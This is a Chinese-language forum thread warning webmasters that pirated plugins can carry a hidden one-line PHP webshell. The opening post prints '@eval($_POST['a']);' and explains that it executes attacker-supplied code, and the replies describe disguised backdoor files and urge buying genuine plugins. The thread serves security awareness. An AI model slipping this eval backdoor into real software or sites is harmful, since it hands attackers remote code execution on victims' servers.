某盜版插件中驚現(xiàn)一句話木馬，小到讓你根本無(wú)法發(fā)現(xiàn)

安全專員

傳送門：安全小知識(shí)：為什么使用盜版插件容易被掛馬！

1. @eval($_POST['a']);

復(fù)制代碼

如上面所示，就這么短短的幾個(gè)字符，隱藏在盜版插件正常代碼之中，如果不細(xì)心的話，根本無(wú)法發(fā)現(xiàn)。
不懂php的人，可能會(huì)懷疑，這么短的一個(gè)代碼，就是木馬？
eval就是把普通的字符串當(dāng)做php代碼來(lái)執(zhí)行，像上面這個(gè)代碼就是執(zhí)行接收到的POST數(shù)據(jù)，利用這段代碼，黑客就可以向你的服務(wù)器執(zhí)行代碼了。
抓緊時(shí)間卸載盜版插件吧，盜版插件的安全問(wèn)題已經(jīng)不能忽視了！


傳送門：安全小知識(shí)：為什么使用盜版插件容易被掛馬！

TardisTeam

前排支持，拒絕盜版
如果你只要用了一次盜版插件，一句后門代碼，就可以讓整個(gè)網(wǎng)站作廢

有些攻擊者不是只劫持首頁(yè)到非法網(wǎng)站上那么簡(jiǎn)單，有的時(shí)候還會(huì)用“間諜式”寫入更多潛在后門入口文件，而且命名法會(huì)偽裝成正常文件名稱，代碼可能還是加密，以免被檢測(cè)，這樣就可以留著以后再進(jìn)行攻擊，即使你這時(shí)候把盜版插件刪除，也是無(wú)濟(jì)于事，還是一樣會(huì)被攻擊，除非你把所有新植入的后門文件也都刪除了，否則針對(duì)一般站長(zhǎng)而言，想要安全，就不得不重裝網(wǎng)站了

如果等發(fā)生以上情況再付費(fèi)找人清理后門文件和維護(hù)，不但服務(wù)費(fèi)成本高，也可能沒(méi)法根除到底，對(duì)于如果用心經(jīng)營(yíng)網(wǎng)站的站長(zhǎng)，千萬(wàn)不要選擇盜版插件，也不要隨意授權(quán)網(wǎng)站關(guān)鍵信息資源給第三方，如服務(wù)器，F(xiàn)TP等，做好及時(shí)性備份，拒絕使用盜版插件或模版

大旗網(wǎng)

堅(jiān)決不用盜版

TG123999

蘋果 發(fā)表于 2019-7-17 10:39
不能用 盜版  

萬(wàn)一有個(gè)木馬  全站就廢了

說(shuō)的對(duì)，支持 正版

lovetvb

哦哦明白了